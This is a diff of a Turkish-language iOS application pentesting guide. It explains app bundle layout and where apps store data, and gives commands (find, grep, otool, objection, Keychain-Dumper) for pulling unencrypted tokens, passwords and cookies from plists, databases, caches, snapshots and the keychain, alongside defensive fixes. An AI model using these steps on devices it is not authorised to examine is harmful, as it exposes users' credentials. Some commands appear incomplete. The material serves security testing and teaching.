klasör uygulamanın yerel kütüphanelerini barındırır, bu kütüphaneler `.dylib` veya `.framework` dosyaları şeklinde olabilir. -* **`PlugIns/`**: Bu, `.appex` dosyaları olarak bilinen uygulama uzantılarını içerebilir, ancak her zaman mevcut değillerdir. -* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Bu, uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır. +* **`PlugIns/`**: Bu, `.appex` dosyaları olarak bilinen uygulamanın uzantılarını içerebilir, ancak her zaman mevcut değillerdir. +* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu için, Core Data şemanızı otomatik olarak bir CloudKit konteynerine yansıtır. * [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur. * **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan bir kaynak içerir. -* **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar. -* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir. -* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere yeniden kullanılabilir kod kütüphaneleri (`Frameworks/`) eklemeleri genişletme imkanı sağlar (`PlugIns/`). +* **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla paketlenmiş tüm dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar. +* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları etkin bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir. +* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere tekrar kullanılabilir kod kütüphaneleri (`Frameworks/`) eklemeleri ve uygulama işlevselliğini genişletmelerine izin verir (`PlugIns/`). * **Yerelleştirme**: Yapı, birden fazla dil desteğini destekler, belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır. **Info.plist** -**Info.plist**, iOS uygulamaları için bir köşetaşı görevi görür, **anahtar-değer** çiftleri şeklinde temel yapılandırma verilerini kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde bulunan çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı bir keşif için [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir. +**Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, kritik bilgileri **anahtar-değer** çiftleri şeklinde kapsayan. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde bulunan çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı bir keşif için, [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir. -Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta `plistutil` kullanılarak kolayca gerçekleştirilebilir. Dönüşüm komutları şunlardır: +Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm için komutlar şunlardır: * **macOS için**: ```bash @@ -202,18 +202,18 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girişler uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, diğerleri arasında dışa aktarılan/içe aktarılan özel belge tipleri (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) gibi, dosyayı inceleyerek veya basit bir `grep` komutu kullanılarak kolayca bulunabilir: +**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girdiler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve Uygulama Taşıma Güvenliği için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girdiler, `grep` komutunu kullanarak dosyayı inceleyerek veya basitçe yerini tespit edebilir. ```bash $ grep -i Info.plist ``` **Veri Yolları** -iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır, bu da uygulamanın klasörünü manuel olarak bulmayı zorlaştırır çünkü dizin adlarının rastgele olmasından kaynaklanır. +iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır, bu da uygulamanın klasörünü manuel olarak bulmayı zorlaştırır çünkü dizin adlarının rastgele olması nedeniyle. {% hint style="warning" %} iOS'taki uygulamaların sandbox olması gerektiğinden, her uygulamanın **`CFBundleIdentifier`**'ına sahip **`$HOME/Library/Containers`** içinde bir klasörü olacaktır. -Ancak, her iki klasörün (veri ve konteyner klasörleri) de `MCMetadataIdentifier` anahtarında her iki dosyayı da bağlayan **`.com.apple.mobile_container_manager.metadata.plist`** dosyası bulunmaktadır. +Ancak, hem veri hem de konteyner klasörlerinde **`.com.apple.mobile_container_manager.metadata.plist`** adlı dosya bulunur ve bu dosyaları `MCMetadataIdentifier` anahtarında bağlayan bir ilişki vardır. {% endhint %} Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir `env` komutu sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır: @@ -231,7 +231,7 @@ Alternatif olarak, uygulama adı `find` komutu kullanılarak `/private/var/conta ```bash find /private/var/containers -name "Progname*" ``` -Komutlar `ps` ve `lsof` gibi, sırasıyla uygulamanın işlemini tanımlamak ve açık dosyaları listelemek için de kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar: +Komutlar olan `ps` ve `lsof` gibi, sırasıyla uygulamanın işlemini tanımlamak ve açık dosyaları listelemek için de kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar: ```bash ps -ef | grep -i lsof -p | grep -i "/containers" | head -n 1 @@ -242,7 +242,7 @@ lsof -p | grep -i "/containers" | head -n 1 * Bu, IPA'da daha önce görüldüğü gibi Uygulama Paketi olup, temel uygulama verilerini, statik içeriği ve uygulamanın derlenmiş ikilisini içerir. * Bu dizin kullanıcılara görünür, ancak **kullanıcılar yazamaz**. * Bu dizindeki içerik **yedeklenmez**. -* Bu klasörün içeriği kod imzasını **doğrulamak** için kullanılır. +* Bu klasörün içeriği **kod imzasını doğrulamak** için kullanılır. **Veri dizini:** @@ -252,10 +252,10 @@ lsof -p | grep -i "/containers" | head -n 1 * Bu dizindeki içerik **yedeklenir**. * Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir. * **Library/** -* **Kullanıcıya özgü olmayan dosyaları** içerir, örneğin **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları. +* **Kullanıcıya özgü olmayan dosyaları** içerir, **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları gibi. * iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir. * **Library/Caches/** -* **Yarı kalıcı önbellek dosyalarını** içerir. +* **Yarı kalıcı önbelleklenmiş dosyaları** içerir. * Kullanıcılara görünmez ve **kullanıcılar yazamaz**. * Bu dizindeki içerik **yedeklenmez**. * Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir. @@ -266,16 +266,16 @@ lsof -p | grep -i "/containers" | head -n 1 * Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir. * **Library/Preferences/** * Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olabilen özellikleri** depolamak için kullanılır. -* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama sandbox'ının içinde kaydedilir. +* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama kum havuzunun içinde kaydedilir. * `NSUserDefaults` kullanılarak depolanan tüm anahtar/değer çiftleri bu dosyada bulunabilir. * **tmp/** -* Uygulama başlatmaları arasında kalıcı olması gerekmeyen **geçici dosyaları** yazmak için bu dizini kullanın. -* Kalıcı olmayan önbellek dosyalarını içerir. +* Uygulama başlatmaları arasında kalıcı olması gerekli olmayan **geçici dosyaları** yazmak için bu dizini kullanın. +* Kalıcı olmayan önbelleklenmiş dosyaları içerir. * Kullanıcılara **görünmez**. -* Bu dizindeki içerik **yedeklenmez**. +* Bu dizindeki içerik yedeklenmez. * Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir. -iGoat-Swift'in Uygulama Paketi (.app) dizinine Bundle dizini içinde (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım: +iGoat-Swift'in Uygulama Paketi (.app) dizinine (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls NSFileType Perms NSFileProtection ... Name @@ -307,11 +307,11 @@ DVIA-v2: ``` **Uygulamanın şifrelenip şifrelenmediğini kontrol edin** -Aşağıdaki komutu kullanarak herhangi bir çıktı olup olmadığını kontrol edin: +Aşağıdaki komut çıktısında herhangi bir şey var mı: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` -**Binary'in Ayrıştırılması** +**Binary dosyasının ayrıştırılması** Metin bölümünü ayrıştırın: ```bash @@ -341,7 +341,7 @@ data 0x1003de748 flags 0x80 instanceStart 8 ``` -Kodun daha kompakt hale getirilmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanılabilir: +Kodunuzu daha kompakt hale getirmek için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz: ```bash class-dump some-app // @@ -372,47 +372,47 @@ Ancak, ikili dosyayı açmak için en iyi seçenekler: [**Hopper**](https://www.
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve **kolayca** kullanın.\ +Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturmak ve **Trickest**'i kullanın.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} ## Veri Depolama -iOS'un cihazda veri depolama hakkında nasıl bilgi sakladığını öğrenmek için bu sayfayı okuyun: +iOS'un cihazda veri depolama yöntemlerini öğrenmek için bu sayfayı okuyun: {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) {% endcontent-ref %} {% hint style="warning" %} -Bilgi depolamak için aşağıdaki yerler **uygulama yüklenir yüklenmez**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yapıldıktan sonra** kontrol edilmelidir.\ +Uygulama **kurulduktan hemen sonra**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yaptıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\ Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki oturum açmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır. {% endhint %} ### Plist -**plist** dosyaları, **anahtar-değer çiftlerini içeren** yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Bu dosyaların uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra kontrol edilmesi önerilir. +**plist** dosyaları, **anahtar-değer çiftlerini içeren yapılandırılmış XML dosyalarıdır**. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir. -Plist dosyalarında veri saklamanın en yaygın yolu **NSUserDefaults**'un kullanımıdır. Bu plist dosyası, **`Library/Preferences/.plist`** içinde uygulama kum havuzunda kaydedilir. +Plist dosyalarında veri saklamanın en yaygın yolu **NSUserDefaults**'un kullanımıdır. Bu plist dosyası, **`Library/Preferences/.plist`** içinde uygulama sandbox'ında kaydedilir. -[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler uygulama kum havuzunda görüntülenebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır. +[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler uygulama paketi içinde görülebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır. -Bu veri doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir. +Bu veri doğrudan güvenilir bir bilgisayar üzerinden erişilemez, ancak bir **yedekleme** yaparak erişilebilir. `NSUserDefaults` kullanılarak kaydedilen bilgileri **`NSUserDefaults`** kullanarak çöpe atabilirsiniz. -Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` adresine erişebilir ve şunu çalıştırabilirsiniz: +Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}`'e erişebilir ve şunu çalıştırabilirsiniz: ```bash find ./ -name "*.plist" ``` -**XML veya ikili (bplist)** formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur: +**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:** -**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan `plutil` komutu, macOS'ta (10.2+) yerleşik bir araçtır: +**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+), yerleşik bir araçtır. ```bash $ plutil -convert xml1 Info.plist ``` -**Linux Kullanıcıları için:** İlk olarak `libplist-utils`'ı yükleyin, ardından dosyanızı dönüştürmek için `plistutil`'ı kullanın: +**Linux Kullanıcıları için:** İlk olarak `libplist-utils` paketini yükleyin, ardından dosyanızı dönüştürmek için `plistutil` kullanın: ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist @@ -423,12 +423,12 @@ ios plist cat /private/var/mobile/Containers/Data/Application/ ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data SQLite'ı kalıcı depo olarak kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\ -CoreData varsayılan olarak verilerini şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) sayfasına bakın. +[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depo olarak SQLite'i kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\ +CoreData, verilerini varsayılan olarak şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data)'ya bakın. Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz. -**Eğer SQLite'ı açabilir ve hassas bilgilere erişebilirseniz, yanlış yapılandırmayı buldunuz demektir.** +**Eğer SQLite'i açabilir ve hassas bilgilere erişebilirseniz, yanlış yapılandırmayı buldunuz demektir.** {% code title="iGoat'tan Kod" %} ```objectivec @@ -463,15 +463,15 @@ Yap veritabanları sqlite veritabanları olduğundan, bunları önceki bölümde ### Diğer SQLite Veritabanları -Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelemeksizin bırakabilirler. Bu nedenle, her veritabanını kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`). +Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelememiş olabilirler. Bu nedenle, her veritabanını kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin saklandığı uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`). ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` ### Firebase Gerçek Zamanlı Veritabanları -Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** sağlanmaktadır. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir. +Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** imkanı sunulur. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir. -Misconfigured Firebase veritabanlarını nasıl kontrol edeceğinizi buradan bulabilirsiniz: +Yanlış yapılandırılmış Firebase veritabanlarını nasıl kontrol edeceğinizi buradan bulabilirsiniz: {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) @@ -479,7 +479,7 @@ Misconfigured Firebase veritabanlarını nasıl kontrol edeceğinizi buradan bul ### Realm veritabanları -[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/), Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak veriler **şifrelenmeden depolanır** ve şifreleme belirli yapılandırmalar aracılığıyla sağlanır. +[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/), Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak, veriler şifrelenmeden depolanır ve şifreleme belirli yapılandırmalar aracılığıyla sağlanır. Veritabanları şurada bulunur: `/private/var/mobile/Containers/Data/Application/{APPID}`. Bu dosyaları keşfetmek için şu gibi komutlar kullanılabilir: ```bash @@ -512,7 +512,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S ``` ### Çerezler -iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih ederler çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**. +iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih eder çünkü bahsedilen **çerez dosyasına yedeklerden erişilebilir**. Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\ **Ayrıca objection'ı kullanarak** bu dosyaları JSON formatına dönüştürebilir ve verileri inceleyebilirsiniz. @@ -533,29 +533,29 @@ iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library ``` ### Önbellek -Varsayılan olarak NSURLSession, **HTTP isteklerini ve yanıtları Cache.db** veritabanında saklar. Bu veritabanı, **token'lar, kullanıcı adları veya başka hassas bilgiler** gibi hassas veriler içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/`) gidin ve `/Library/Caches/` yolunu izleyin. **WebKit önbelleği de Cache.db** dosyasında saklanmaktadır. **Objection**, bu veritabanıyla `sqlite connect Cache.db` komutu ile açıp etkileşimde bulunabilir, çünkü bu **normal bir SQLite veritabanıdır**. +NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinini (`/var/mobile/Containers/Data/Application/`) açın ve `/Library/Caches/` dizinine gidin. **WebKit önbelleği de Cache.db dosyasında saklanmaktadır**. **Objection**, bu veritabanını `sqlite connect Cache.db` komutuyla açıp etkileşimde bulunabilir, çünkü bu **normal bir SQLite veritabanıdır**. -Bu verilerin **önbelleğe alınmasının devre dışı bırakılması önerilir**, çünkü istekte veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir: +Bu verilerin **önbelleğe alınmasını devre dışı bırakmanız önerilir**, çünkü istek veya yanıtlarda hassas bilgiler olabilir. Aşağıdaki liste farklı yöntemlerle bunu başarmanın yollarını göstermektedir: -1. Oturum kapatıldıktan sonra önbelleğe alınmış yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz: +1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Bu, Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle yapılabilir. Bu yöntemi aşağıdaki gibi çağırabilirsiniz: - `URLCache.shared.removeAllCachedResponses()` +`URLCache.shared.removeAllCachedResponses()` - Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınmış istekleri ve yanıtları kaldıracaktır. -2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir. Bu özellik çerezleri ve önbelleği devre dışı bırakacaktır. +Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır. +2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır. - [Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): +[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): - `Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. default) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi saklamaz. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.` -3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) Önbellek Politikası olarak ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır. +`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. default) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi saklamaz. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.` +3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) Önbellek Politikası'na ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır. ### Anlık Görüntüler -Ana ekran düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha akıcı hale getirir. Ancak, eğer **hassas veriler** mevcutsa, bu veriler **resimde saklanır** (bu veri **yeniden başlatmalarda** **saklanır**). Bu, uygulamalar arasında geçiş yapmak için ana ekranı çift dokunarak erişebileceğiniz anlık görüntülerdir. +Ev düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha akıcı hale getirmek için kullanır. Ancak, eğer mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (ki bu **yeniden başlatmalara karşı kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ev ekranına çift dokunarak erişebileceğiniz anlık görüntülerdir. -iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için cihaza **erişimi** **engellenmemiş** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez). +iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için **cihaza erişime** **ihtiyacı** **vardır** ve cihazın **kilitli olmaması** gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez). -Bu kötü davranışı önlemenin bir yolu, anlık görüntüyü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, `ApplicationDidEnterBackground()` işlevini kullanarak. +Bu kötü davranışı önlemenin bir yolu, anlık görüntü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, `ApplicationDidEnterBackground()` işlevini kullanarak. Aşağıdaki, varsayılan bir ekran görüntüsü ayarlayan örnek bir düzeltme yöntemidir. @@ -592,7 +592,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds; ``` ### Anahtarlık -iOS anahtarlığına erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, 